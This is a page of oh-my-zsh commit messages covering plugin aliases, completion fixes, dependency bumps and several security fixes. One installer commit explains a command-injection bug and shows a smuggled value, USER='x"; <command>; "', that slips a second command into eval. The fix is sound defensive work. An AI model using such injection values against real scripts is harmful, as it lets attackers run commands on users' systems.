Compare commits

...
Author SHA1 Message Date
copilot-swe-agent[bot]androbbyrussell 6b789c8bd6 fix(git plugin): include git exec path in version cache key
Co-authored-by: robbyrussell <257+robbyrussell@users.noreply.github.com>
2026-09-06 15:49:09 +00:00
Robby RussellandClaude Fable 5.1 984d07a53b perf(git): cache the git version used for alias selection
`git version` was forked on every startup so that four aliases could be
picked according to the installed git. Cache the version in
$ZSH_CACHE_DIR for a day, keyed on the git binary's path and mtime, so a
different or upgraded git is picked up right away and the fork otherwise
happens once a day.

Measured on macOS arm64, zsh 5.9: git.plugin.zsh 9.2 ms -> 2.0 ms per
interactive start.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-09-06 08:06:51 -07:00
Jérôme Tamarelle 426650fbe8 fix(symfony6): don't run command substitutions on tab completion (#14058)
The plugin is a copy of the completion script shipped by symfony/console.
It has not been updated since it was added, and two fixes made upstream
since then are missing.

The completion request was assembled as a string from the raw words of
the command line, then passed to "eval". Any command substitution present
in a word was therefore executed by the completion, before the user
validated the line. The request is now run as an array of arguments,
without being read again by the shell, and "_describe" is called directly
instead of through "eval". The alias of the command is resolved
explicitly, since that was the only useful effect of the "eval".

The request also runs with SHELL_VERBOSITY=0, so that completion keeps
working for users who exported SHELL_VERBOSITY=-1.

Ported from symfony/symfony#65818 and symfony/symfony#63859.
2026-09-06 07:02:47 -07:00
Robby RussellandMoulick Aggarwal 8a5b393088 feat(kubectl): add kesec alias for editing secrets (#14048)
Secret was the only resource in the plugin with get, describe and delete
aliases but no edit alias, while thirteen other resource types have one.

Closes #8309

Co-authored-by: Moulick Aggarwal <Moulick@users.noreply.github.com>
2026-09-05 23:04:08 -03:00
Josh McKinney 87d4d40418 feat(jj): Add common jj aliases (#13962) 2026-09-05 14:36:14 -07:00
Ting-An Chen 593e8ed6c8 fix(poetry-env): preserve venv in project subdirectories (#13932)
* fix(poetry-env): preserve venv in project subdirectories

Keep the active environment while navigating ordinary project children, but switch when entering a nested Poetry project.

Use a path-component boundary so similarly named sibling projects are not mistaken for subdirectories.

Fixes #12377

* fix(poetry-env): normalize active project root
2026-09-05 12:41:40 -07:00
Morningstar202604 747123823c fix(pipenv): keep activation and the project directory in sync (#14021)
* fix(pipenv): don't activate or leak errors when virtualenv is missing

* fix(pipenv): compare whole path components when deactivating

$PWD
$pipfile_dir is a string-prefix test, so moving from a project to an
unrelated sibling whose path merely starts with the same text (…/proj ->
…/proj-archive, …/projX) does not deactivate: the project's virtualenv
stays active in a directory that has no Pipfile. Require an exact match or
a component boundary instead. Subdirectories of the project keep their
current behaviour, and a project at / still matches everything.
2026-09-05 12:13:51 -07:00
Rasmus Skovgaard Lauritsen daaa103cec feat(gcx): add completion plugin for Grafana's gcx (#13950)
* feat(gcx): add completion plugin

* fix(gcx): write completion cache atomically
2026-09-05 11:19:45 -07:00
Gore Williams 4bdcaad01a feat(ruff): add plugin for Asral's ruff (#13604) 2026-09-05 11:14:48 -07:00
FazleArefin 5b5265d677 feat(uv-env): add plugin for Astral's uv (#13914)
* feat(uv-env): create plugin

This plugin automatically activates/deactivates a uv-managed virtual
environment when you cd into or out of a project directory. It looks
for pyproject.toml and uv.lock to detect a uv project, and reads
UV_PROJECT_ENVIRONMENT to support custom venv locations.

* fix(uv-env): address review feedback from robbyrussell

- Add `local` to venv_dir to prevent leaking into user's shell
- Replace `export` with `typeset -g` for uv_active and uv_dir
- Use `autoload -Uz` to match the style guide
2026-09-05 11:13:45 -07:00
Johan Hammar 421d95782d feat(vagrant): Add vagrant box prune command (#5946) 2026-09-04 16:38:16 -07:00
Raihan Firdaus 7079eaf80d feat: update laravel.plugin add make:view and update README.md (#13674) 2026-09-04 16:18:53 -07:00
Morningstar202604 b842e5e63e fix(aws): send asr() error message to stderr and reset terminal color (#14027)
asp() already writes its "profile not found" error to stderr and ends
with ${reset_color}; asr() printed its region error to stdout without a
reset, leaving the terminal red and mixing diagnostics into piped output.

Mirror asp() so both selection helpers behave the same.

Refs #13949
2026-09-04 15:25:14 -07:00
blag c76b3002b6 Sublime Merge plugin: Add an smerge alias to complement the similar alias in the Sublime Text plugin (#13930) 2026-09-04 14:49:54 -07:00
Matt CampbellandCarlo Sala 3f84a2ae4a fix(ssh-agent): create screen/tmux symlink atomically (#14035)
Co-authored-by: Carlo Sala <carlosalag@protonmail.com>
2026-09-04 08:19:10 -03:00
Mohammad Al ZouabiandCarlo Sala 9112b53fa8 fix(mise): activate using ~/.local/bin/mise (#13984)
Co-authored-by: Carlo Sala <carlosalag@protonmail.com>
2026-09-01 09:21:54 +02:00
Maksym Tymoshyk a5ecff7560 fix(updater): silence git version check output (#14029) 2026-08-30 19:16:06 +02:00
Maksym Tymoshyk 233ec5c507 fix(systemadmin): quote awk program in webtraffic (#14030) 2026-08-30 19:15:26 +02:00
Maksym Tymoshyk 91ad6c5c4c fix(git): restore git_develop_branch fallback in gbds (#14033) 2026-08-30 19:12:18 +02:00
Maksym Tymoshyk b5d75fc565 fix(cli): keep completion flag when loading multiple plugins (#14032) 2026-08-30 19:11:30 +02:00
Maksym Tymoshyk 44ce832bbd fix(diagnostics): correct reserved_words array name (#14031) 2026-08-30 19:10:57 +02:00
dependabot[bot] b23f11ce1e chore(deps): bump github/codeql-action/upload-sarif (#14034)
Bumps the gha-minor group with 1 update: [github/codeql-action/upload-sarif](https://github.com/github/codeql-action).


Updates `github/codeql-action/upload-sarif` from 4.37.7 to 4.37.9
- [Release notes](https://github.com/github/codeql-action/releases)
- [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md)
- [Commits](https://github.com/github/codeql-action/compare/ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd...cdf488f595d80d6e07e03d4674febd5ab45fa938)

---
updated-dependencies:
- dependency-name: github/codeql-action/upload-sarif
  dependency-version: 4.37.9
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: gha-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-08-30 19:07:00 +02:00
Miguel Hargreaves PimentaandRobby Russell 4b657407c9 feat(rails): support multi-database aliases (#13368)
Rails applications can define more than one database (`primary`, `cache`, `cable`, `queue`, ...), and each one gets its own namespaced task. These commands accept an optional database name as the first argument:

`rdc`, `rdd`, `rdm`, `rdmd`, `rdmr`, `rdms`, `rdmu`, `rdr`, `rdrs`, `rdsl`

Co-authored-by: Robby Russell <robby@planetargon.com>
2026-08-28 21:43:45 -03:00
Pavel R`andRobby Russell 9b26410d99 fix(eza): pass an explicit value to --hyperlink (#14024)
Since eza 0.23 `--hyperlink` is an option with an optional WHEN value
instead of a boolean flag, so a bare `--hyperlink` at the end of the
alias consumes the following argument:

    $ ll ./tmp
    error: invalid value './tmp' for '--hyperlink [<WHEN>]'
      [possible values: always, auto, never]

Pass `--hyperlink=auto` (mirroring how the plugin already handles
`--icons=auto`) when eza accepts it, and fall back to the bare flag on
older releases.

Co-authored-by: Robby Russell <robby@planetargon.com>
2026-08-28 21:36:04 -03:00
Fernando AraujoandFernando Silva 58f87ce1e9 feat(docker-compose): add config alias (#13856)
* add docker compose config alias

* updated readme

* sorting :)

---------

Co-authored-by: Fernando Silva <fcasilva.nz@gmail.com>
2026-08-28 16:08:59 -07:00
Morningstar202604 146461f7c6 fix(git): force C locale only while matching status regexes (#14006) 2026-08-25 10:26:23 +02:00
ディレーン ec03bc620c fix(docker): resolve completion path correctly (#14004)
Use `${0:A:h}` to get the absolute plugin directory path before entering
the anonymous function, where `$0` refers to the function itself. Store
it in a local variable to ensure the completion file path is resolved
correctly.

Fixes #14003
2026-08-24 13:33:49 -03:00
dependabot[bot] 67462daf46 chore(deps): bump step-security/harden-runner in the gha-minor group (#14002)
Bumps the gha-minor group with 1 update: [step-security/harden-runner](https://github.com/step-security/harden-runner).


Updates `step-security/harden-runner` from 2.20.1 to 2.21.0
- [Release notes](https://github.com/step-security/harden-runner/releases)
- [Commits](https://github.com/step-security/harden-runner/compare/b09bb98e06d4d774595224525879c09bc6e98c40...05e31511f85b41b11d1cf0ef85d0992719546e2c)

---
updated-dependencies:
- dependency-name: step-security/harden-runner
  dependency-version: 2.21.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
  dependency-group: gha-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-08-24 08:41:51 +02:00
dependabot[bot] effdcb7572 chore(deps): bump the py-minor group (#14001)
Bumps the py-minor group in /.github/workflows/dependencies with 2 updates: [charset-normalizer](https://github.com/jawah/charset_normalizer) and [idna](https://github.com/kjd/idna).


Updates `charset-normalizer` from 3.5.0 to 3.5.1
- [Release notes](https://github.com/jawah/charset_normalizer/releases)
- [Changelog](https://github.com/jawah/charset_normalizer/blob/master/CHANGELOG.md)
- [Commits](https://github.com/jawah/charset_normalizer/compare/3.5.0...3.5.1)

Updates `idna` from 3.18 to 3.19
- [Release notes](https://github.com/kjd/idna/releases)
- [Changelog](https://github.com/kjd/idna/blob/master/HISTORY.md)
- [Commits](https://github.com/kjd/idna/compare/v3.18...v3.19)

---
updated-dependencies:
- dependency-name: charset-normalizer
  dependency-version: 3.5.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: py-minor
- dependency-name: idna
  dependency-version: '3.19'
  dependency-type: direct:production
  update-type: version-update:semver-minor
  dependency-group: py-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-08-24 08:41:19 +02:00
Carlo SalaandMarc Cornellà 830a5bcfd2 fix: load completion files atomically (#14000)
Fixes #13964
 
Co-authored-by: Marc Cornellà <marc@mcornella.com>
2026-08-22 17:24:24 +02:00
P1bubandCarlo Sala d42209f2af fix(installer): prevent command injection via $USER in install.sh (#13960)
HOME="${HOME:-$(eval echo ~"$USER")}" expands any shell metacharacters in
$USER when HOME is unset (CWE-78), e.g. USER='x"; <command>; "'. Validate the
username against a safe character set before running the eval and fall back
to $PWD for unsafe values. Also quote $USER in the getent call to avoid word
splitting.

Co-authored-by: Carlo Sala <carlosalag@protonmail.com>
2026-08-20 10:43:07 +02:00
Josh McKinney 1b2b604c48 fix(core): add Ghostty OSC 8 support (#13961) 2026-08-20 10:18:07 +02:00
ohmyzsh[bot]andCarlo Sala 97e11051e2 chore(z): update to version 102fb780 (#13957)
* chore(z): update to 102fb780

* remove tests

* do not include tests

---------

Co-authored-by: ohmyzsh[bot] <54982679+ohmyzsh[bot]@users.noreply.github.com>
Co-authored-by: Carlo Sala <carlosalag@protonmail.com>
2026-08-16 18:16:26 +02:00
dependabot[bot] 178813b7b9 chore(deps): bump charset-normalizer from 3.4.9 to 3.5.0 in /.github/workflows/dependencies in the py-minor group (#13958)
Signed-off-by: dependabot[bot] <support@github.com>
2026-08-16 18:13:24 +02:00
dependabot[bot] 0e98520c5b chore(deps): bump github/codeql-action/upload-sarif from 4.37.6 to 4.37.7 in the gha-minor group (#13959)
Signed-off-by: dependabot[bot] <support@github.com>
2026-08-16 18:13:07 +02:00
Jose Seabra b54a719775 feat(laravel): add pad alias (#13927) 2026-08-11 13:03:42 +02:00
Oleg Guba 1f9511f132 perf(kubectx)!: load context asynchronously (#13825)
BREAKING CHANGE: `kubectx_prompt_info` uses the async prompt API by default on supported zsh versions. Set async-prompt to no for synchronous behavior, or force it when calling it through a wrapper function. See the plugin README for details.
2026-08-11 12:38:52 +02:00
dependabot[bot] 97b27bb2ec chore(deps): bump the gha-minor group with 2 updates (#13926)
Bumps the gha-minor group with 2 updates: [step-security/harden-runner](https://github.com/step-security/harden-runner) and [github/codeql-action/upload-sarif](https://github.com/github/codeql-action).


Updates `step-security/harden-runner` from 2.20.0 to 2.20.1
- [Release notes](https://github.com/step-security/harden-runner/releases)
- [Commits](https://github.com/step-security/harden-runner/compare/bf7454d06d71f1098171f2acdf0cd4708d7b5920...b09bb98e06d4d774595224525879c09bc6e98c40)

Updates `github/codeql-action/upload-sarif` from 4.37.4 to 4.37.6
- [Release notes](https://github.com/github/codeql-action/releases)
- [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md)
- [Commits](https://github.com/github/codeql-action/compare/f205ea1c3313d32999d8d6a48b4f6530d4437b38...5595ccaf912efad79be6eef63a5619ff05969be3)

---
updated-dependencies:
- dependency-name: step-security/harden-runner
  dependency-version: 2.20.1
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: gha-minor
- dependency-name: github/codeql-action/upload-sarif
  dependency-version: 4.37.6
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: gha-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-08-09 15:17:48 +02:00
Copilotandcarlosala 99aaf58d00 fix(codex): redirect stdin from /dev/null in background completion generation (#13921)
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: carlosala <66907184+carlosala@users.noreply.github.com>
2026-08-08 20:06:16 +02:00
Runrioter Wung 6f39351fef feat(codex): add plugin (#13757) 2026-08-07 10:58:15 +02:00
Rishvic PushpakaranandCarlo Sala 069512d14a feat(gitignore): add caching to gi completion (#13735)
Adds a cache policy for the `gi` command completion function, i.e.
`_gitignoreio`. Previously, every completion call would request the list
endpoint of gitignore.io over the network, resulting in a delay between
pressing <Tab> and the autocomplete options showing up.

Since we don't expect the gitignore.io templates to change that
frequently, configured the cache policy to expire after 7 days.

Signed-off-by: Rishvic Pushpakaran <rishvic@gmail.com>
Co-authored-by: Carlo Sala <carlosalag@protonmail.com>
2026-08-07 10:53:03 +02:00
Marc Cornellà 0912e05c05 fix(jonathan): make compatible with Ghostty shell-integration (#13917)
The issue is that Ghostty shell-integration tries to parse PS1. How we're
defining it now, the precmd function from Ghostty does not properly read
the newlines, resulting in broken prompts. This doesn't happen if:

- Zsh is reloaded (`omz reload` or `exec zsh`)
- Ghostty shell integration is disabled (`shell-integration = none` in config)

This fix just removes the newlines, and it's enough to fix the integration.
2026-08-06 09:20:53 +02:00
御风andCarlo Sala 076d692dac fix(per-directory-history): prevent fc -p from clearing preexec (#13815)
Co-authored-by: Carlo Sala <carlosalag@protonmail.com>
2026-08-05 18:56:19 +02:00
FiNeXdesignandCarlo Sala 7e2aa2c8cb feat(keychain): add version handling (#13898)
Co-authored-by: Carlo Sala <carlosalag@protonmail.com>
2026-08-05 18:22:17 +02:00
Matheus FelipeandCarlo Sala ab84cca50a feat(pipenv): add completion for >= 2026.5.0 (#13686)
Co-authored-by: Carlo Sala <carlosalag@protonmail.com>
2026-08-05 18:21:07 +02:00
farlyfeifei a4a224b3fe perf: avoid duplicate completion security audit (#13873) 2026-08-05 13:30:21 +02:00
zhoufengen 898b579cf5 fix(git): avoid illegal byte sequence (#13878) 2026-08-05 13:23:04 +02:00
Brennan Lujan bc0d7fa6ab feat(eza): add smart-group option (#13857) 2026-08-05 13:05:18 +02:00
xs5871 ed19f8ffcf fix(extract): properly handle xz archives (#13853) 2026-08-05 13:04:27 +02:00
Dan Vrátil 26b4e0a8c0 feat(jj): add aliases for workspace operations (#13850) 2026-08-05 12:41:57 +02:00
Session小胡 a8afe14b93 feat(command-not-found): add alpine support (#13864) 2026-08-05 12:10:52 +02:00
kapil971390 be0dfaad6b fix(aws): quote vars to support spaces (#13868) 2026-08-05 12:05:39 +02:00
Santiago Aguilar Hernández 14200130f0 fix(archlinux): remove unnecessary sudo (#13866) 2026-08-05 12:03:47 +02:00
Krut Patel ad586ffeca fix(tmux): preserve newlines when refreshing environment (#13880) 2026-08-03 10:18:44 +02:00
Akshat1927andMarc Cornellà da368d6468 feat(cdk): add plugin (#13831)
Co-authored-by: Marc Cornellà <marc@mcornella.com>
2026-08-03 10:16:50 +02:00
dependabot[bot] 6adfef3a8b chore(deps): bump github/codeql-action/upload-sarif (#13913)
Bumps the gha-minor group with 1 update: [github/codeql-action/upload-sarif](https://github.com/github/codeql-action).


Updates `github/codeql-action/upload-sarif` from 4.37.3 to 4.37.4
- [Release notes](https://github.com/github/codeql-action/releases)
- [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md)
- [Commits](https://github.com/github/codeql-action/compare/e4fba868fa4b1b91e1fdab776edc8cfbe6e9fb81...f205ea1c3313d32999d8d6a48b4f6530d4437b38)

---
updated-dependencies:
- dependency-name: github/codeql-action/upload-sarif
  dependency-version: 4.37.4
  dependency-type: direct:production
  update-type: version-update:semver-patch
  dependency-group: gha-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-08-02 17:30:46 +02:00
Owain Williams c5ba74cf02 fix(git): use canonical --remotes (#13908) 2026-07-30 17:41:24 +02:00
Enzo Degraeve 7ea697fd81 fix(pm2): escape + in completion regex for BSD awk (#13900) 2026-07-28 00:41:53 +02:00
Carlo Sala d26b91b3fe ci(deps): group dependabot updates (#13897) 2026-07-27 14:07:40 +02:00
dependabot[bot] 64c49681f1 chore(deps): bump charset-normalizer from 3.4.7 to 3.4.9 in /.github/workflows/dependencies (#13890)
Signed-off-by: dependabot[bot] <support@github.com>
2026-07-27 12:04:23 +02:00
dependabot[bot] f5f46df291 chore(deps): bump ossf/scorecard-action from 2.4.3 to 2.4.4 (#13886)
Signed-off-by: dependabot[bot] <support@github.com>
2026-07-27 12:03:16 +02:00
dependabot[bot] 9e67851a2f chore(deps): bump github/codeql-action/upload-sarif from 4.37.1 to 4.37.3 (#13885)
Signed-off-by: dependabot[bot] <support@github.com>
2026-07-27 12:03:02 +02:00
dependabot[bot] 2ea792fd9b chore(deps): bump actions/setup-python from 6.3.0 to 7.0.0 (#13887)
Signed-off-by: dependabot[bot] <support@github.com>
2026-07-27 12:02:41 +02:00
dependabot[bot] bce9fec859 chore(deps): bump actions/checkout from 7.0.0 to 7.0.1 (#13889)
Signed-off-by: dependabot[bot] <support@github.com>
2026-07-27 12:02:13 +02:00
dependabot[bot] 12eb42de60 chore(deps): bump certifi from 2026.4.22 to 2026.7.22 in /.github/workflows/dependencies (#13891)
Signed-off-by: dependabot[bot] <support@github.com>
2026-07-27 12:01:57 +02:00
dependabot[bot] f25287d881 chore(deps): bump idna from 3.15 to 3.18 in /.github/workflows/dependencies (#13888)
Signed-off-by: dependabot[bot] <support@github.com>
2026-07-27 12:01:44 +02:00
Aadhil b37dd49ca5 feat(flutter): Added aliases for test, analyze, dependencies upgrade and logs (#13492)
* Added Flutter aliases for test, analyze, dependencies upgrade and logs

* sorted the aliases
2026-07-23 10:38:43 -07:00
Nicolas Temciuc e1d1f0dcd5 feat(rails): add rails db:migrate:reset alias (#13845) 2026-07-22 03:59:54 -07:00
Rahul Agarwal 59a9740721 fix(bundler): restore bu and add bua alias (#13872)
* fix(bundler): make `bu` pass arguments through

Preserve `bundle update --all` for the no-argument form while allowing specific gems and options to pass through.

Fixes #13871

Assisted-by: Claude Fable 5 (Claude Code)

* fix(bundler): keep bu as generic update alias

* feat(bundler): add alias for update all
2026-07-21 13:25:18 -07:00
dependabot[bot] 98fe9b81a6 chore(deps): bump step-security/harden-runner from 2.19.4 to 2.20.0 (#13863)
Signed-off-by: dependabot[bot] <support@github.com>
2026-07-20 10:39:30 +02:00
dependabot[bot] f2546022a5 chore(deps): bump github/codeql-action/upload-sarif from 4.36.3 to 4.37.1 (#13874)
Signed-off-by: dependabot[bot] <support@github.com>
2026-07-20 10:31:39 +02:00
Ishaan Kapur 677a4592b1 feat(ufw): complete route rule actions (#13848) 2026-07-07 10:49:59 +02:00
kapil971390andkapilvus 8c8782e362 fix(josh): escape % in branch before computing branch_size (#13835)
Co-authored-by: kapilvus <kapilvus@gmail.com>
2026-07-07 10:47:59 +02:00
dependabot[bot] 51e98fadc9 chore(deps): bump github/codeql-action/upload-sarif (#13855)
Bumps [github/codeql-action/upload-sarif](https://github.com/github/codeql-action) from 4.36.2 to 4.36.3.
- [Release notes](https://github.com/github/codeql-action/releases)
- [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md)
- [Commits](https://github.com/github/codeql-action/compare/8aad20d150bbac5944a9f9d289da16a4b0d87c1e...54f647b7e1bb85c95cddabcd46b0c578ec92bc1a)

---
updated-dependencies:
- dependency-name: github/codeql-action/upload-sarif
  dependency-version: 4.36.3
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-07-06 10:31:12 +02:00
ohmyzsh[bot] 19962acc06 chore(gradle): update to 63578c9b (#13852)
Co-authored-by: ohmyzsh[bot] <54982679+ohmyzsh[bot]@users.noreply.github.com>
2026-07-05 10:44:09 +02:00
Chuck ff2f16e8df fix(bundler): use new --all syntax (#13837) 2026-07-01 11:03:49 +02:00
vladislav doster 81becab1e7 docs: typos (#13846)
Signed-off-by: vladdoster <vladislav.doster@icloud.com>
2026-07-01 10:42:26 +02:00
dependabot[bot] 65749801cf chore(deps): bump actions/setup-python from 6.2.0 to 6.3.0 (#13842)
Bumps [actions/setup-python](https://github.com/actions/setup-python) from 6.2.0 to 6.3.0.
- [Release notes](https://github.com/actions/setup-python/releases)
- [Commits](https://github.com/actions/setup-python/compare/a309ff8b426b58ec0e2a45f0f869d46889d02405...ece7cb06caefa5fff74198d8649806c4678c61a1)

---
updated-dependencies:
- dependency-name: actions/setup-python
  dependency-version: 6.3.0
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-06-29 01:11:51 +02:00
Sri Harsha Ponukumati d2379b2701 chore(install): quote vars and defensive programming (#13840) 2026-06-26 17:07:51 +02:00
Lixin2026 ff1df9a039 docs: formatting (#13830) 2026-06-25 12:23:42 +02:00
dependabot[bot] 639b566f0e chore(deps): bump actions/checkout from 6.0.3 to 7.0.0 (#13832)
Signed-off-by: dependabot[bot] <support@github.com>
2026-06-25 09:36:20 +02:00
ANDI FAUZAN HEDIANTORO df34d2b8d5 chore(ansible): zsh-ify some code (#13797) 2026-06-15 12:22:58 +02:00
Lucas MaandLucas Ma 96ea17080a fix(installer): tolerate sudo shims without -k (#13821)
Co-authored-by: Lucas Ma <7184042+pony-maggie@users.noreply.github.com>
2026-06-15 12:18:28 +02:00
Lucas Ma 0a91ce20d5 fix(vi-mode): keep cursor hook status successful (#13822) 2026-06-15 12:15:30 +02:00
御风 9a67e3b3f5 fix(git): support nounset option (#13816) 2026-06-15 12:08:05 +02:00
SOUFIAN3HM d708ca9d99 fix(macports): correct inverted logic (#13812) 2026-06-15 12:06:22 +02:00
SOUFIAN3HM ffa8487bc7 fix(aws): use return instead of exit to avoid killing the shell (#13811) 2026-06-15 11:56:22 +02:00
Yotam Korah 3f6f72010f feat(dnf): add dnfur alias (#13806) 2026-06-15 11:51:24 +02:00
ANDI FAUZAN HEDIANTORO 5181447da8 fix(deno): remove deprecated aliases and add modern ones (#13796)
- Remove  alias for  (deprecated in Deno 1.x, removed
  in Deno 2.0)
- Remove  alias for  (the --unstable flag
  has been deprecated in favor of granular --unstable-* flags)
- Add  alias for  (type-check without running)
- Add  alias for  (HTTP server introduced in Deno 1.37)
- Update README to reflect changes
2026-06-12 10:39:09 -07:00
Felipe Santos c954bbb168 feat(websearch)!: rename grok to grokcom (#13792)
BREAKING CHANGE: Rename `grok` alias to `grokcom` to avoid conflicts with Grok Build CLI.
2026-06-10 10:56:28 +02:00
dependabot[bot] 630a7c04c3 chore(deps): bump github/codeql-action from 4.36.0 to 4.36.2 (#13803)
Signed-off-by: dependabot[bot] <support@github.com>
2026-06-08 09:12:39 +02:00
dependabot[bot] e25f96735e chore(deps): bump actions/checkout from 6.0.2 to 6.0.3 (#13804)
Signed-off-by: dependabot[bot] <support@github.com>
2026-06-08 09:12:20 +02:00
Rayan Salhab 70ad5e3df8 fix(golang): complete go module tools (#13786) 2026-06-01 11:06:46 +02:00
Ininsico b86a99da17 fix(brew): add sbin to PATH (#13780) 2026-06-01 10:55:38 +02:00
Carlo Sala cfdc4822d4 ci(deps): make git clone support non-branch refs (#13787) 2026-06-01 09:03:26 +02:00
Dylan Roman c86ba78e2f feat(extract): add support for extracting to a specified directory (#13734) 2026-05-30 13:42:57 +02:00
Marc CornellàandCarlo Sala d170d18746 fix(dotenv): introduce safe parsing of .env files (#13778)
* fix(dotenv): expect explicit yes before loading .env file
* fix(dotenv): implement secure parsing for .env files and add comprehensive tests
* feat(dotenv): check for .env file size to prevent DoS
* fix(dotenv): forbid setting special variables
* fix(dotenv): FIFO shouldn't be read twice
* fix(dotenv): unknown vars should expand to empty
* fix(dotenv): reject extremely large named pipes
* docs(dotenv): update to new parsing system
* fix(dotenv): add support for escaped dollars
* chore(dotenv): only declare local variables once
* fix(dotenv): apply review suggestions
* docs(dotenv): update test instructions

Co-authored-by: Carlo Sala <carlosalag@protonmail.com>
2026-05-28 20:23:45 +02:00
Marc Cornellà c90141ed77 fix: escape % characters in git prompts
This patch adds missing % character escaping for custom git prompts
used in a few themes. It also includes escaping for git-prompt.sh.

In combination with CVE-2021-45444, this could allow code execution
when displaying branch information in cloned malicious git repositories.
However, zsh 5.8.1 and newer are largely the default zsh versions, and
on those supported distributions with older zsh versions, the CVE has been
found to be also patched.

For this reason, this doesn't qualify as a security patch, but a
bug fix for proper printing of git branches.
2026-05-28 19:45:47 +02:00
Michele Bologna 8eff9a5455 fix(michelebologna): syntax, escaping, label (#13756) 2026-05-28 19:23:46 +02:00
Minh VuandCarlo Sala 5ddb7fedcc ci(deps): use resolved tag when syncing dependencies (#13764)
Co-authored-by: Carlo Sala <carlosalag@protonmail.com>
2026-05-28 19:04:07 +02:00
Sediman AIandSediman ddcdc26692 docs: update stale links (#13776)
Co-authored-by: Sediman <jason@sediman.com>
2026-05-28 18:56:03 +02:00
Minh Vu fb03e414ee ci(deps): detect add-only vendored changes (#13765) 2026-05-28 18:54:11 +02:00
Iyigun Cevik b26b500263 feat(juju): add native zsh completion and fix plugin utilities (#13663) 2026-05-27 16:37:23 +02:00
Oliver Jahren fe11a3ae23 fix(dnf): use --installed to support dnf 4 and 5 (#13772) 2026-05-27 10:22:10 +02:00
Sediman AIandSediman 87a9b16b72 fix(alias-finder): use ? quantifier for BSD compat (#13774)
Co-authored-by: Sediman <jason@sediman.com>
2026-05-27 10:16:00 +02:00
OKWN 857a646516 docs(tt): rename README.MD to README.md (#13773) 2026-05-27 10:02:17 +02:00
dependabot[bot] 5ef67beadb chore(deps): bump github/codeql-action from 4.35.5 to 4.36.0 (#13767)
Signed-off-by: dependabot[bot] <support@github.com>
2026-05-26 10:12:39 +02:00
dependabot[bot] d633270784 chore(deps): bump step-security/harden-runner from 2.19.3 to 2.19.4 (#13768)
Signed-off-by: dependabot[bot] <support@github.com>
2026-05-26 10:12:19 +02:00
ohmyzsh[bot] 43c68566be chore(kube-ps1): update to 04af46f7 2026-05-24 14:41:59 +02:00
Md Mushfiqur RahimandCodebuff Contributor cb64103161 fix(aliases): preserve trailing double quotes in als output (#13744)
Co-authored-by: Codebuff Contributor <contributor@codebuff.com>
2026-05-18 09:00:15 +02:00
Masaru Iritani 0eecd2821e fix(tmux): respect ZSH_TMUX_UNICODE in tds (#13741) 2026-05-18 08:51:48 +02:00
rock2z 2a5313a9d0 docs(git): document missing aliases (#13742) 2026-05-18 08:51:23 +02:00
Kaspar V. 24959d5817 feat(pass-cli): add completions plugin (#13740) 2026-05-18 08:47:51 +02:00
dependabot[bot] efd6135bf5 chore(deps): bump step-security/harden-runner from 2.19.1 to 2.19.3 (#13755)
Signed-off-by: dependabot[bot] <support@github.com>
2026-05-18 08:45:12 +02:00
dependabot[bot] c68e752b1b chore(deps): bump idna from 3.13 to 3.15 in /.github/workflows/dependencies (#13754)
Signed-off-by: dependabot[bot] <support@github.com>
2026-05-18 08:44:51 +02:00
dependabot[bot] 8d0ff417c3 chore(deps): bump github/codeql-action from 4.35.4 to 4.35.5 (#13751)
Signed-off-by: dependabot[bot] <support@github.com>
2026-05-18 08:44:28 +02:00
dependabot[bot] 80a6f169c7 chore(deps): bump requests from 2.33.1 to 2.34.2 in /.github/workflows/dependencies (#13752)
Signed-off-by: dependabot[bot] <support@github.com>
2026-05-18 08:44:05 +02:00
dependabot[bot] c4e39ad56b chore(deps): bump actions/create-github-app-token from 3.1.1 to 3.2.0 (#13753)
Signed-off-by: dependabot[bot] <support@github.com>
2026-05-18 08:43:53 +02:00
ohmyzsh[bot] 7478f1fd22 chore(kube-ps1): update to 7d575c6d (#13750)
Co-authored-by: ohmyzsh[bot] <54982679+ohmyzsh[bot]@users.noreply.github.com>
2026-05-17 11:58:14 +02:00
dependabot[bot] a07126330b chore(deps): bump github/codeql-action from 4.35.3 to 4.35.4 (#13737)
Bumps [github/codeql-action](https://github.com/github/codeql-action) from 4.35.3 to 4.35.4.
- [Release notes](https://github.com/github/codeql-action/releases)
- [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md)
- [Commits](https://github.com/github/codeql-action/compare/e46ed2cbd01164d986452f91f178727624ae40d7...68bde559dea0fdcac2102bfdf6230c5f70eb485e)

---
updated-dependencies:
- dependency-name: github/codeql-action
  dependency-version: 4.35.4
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2026-05-11 11:00:26 +02:00
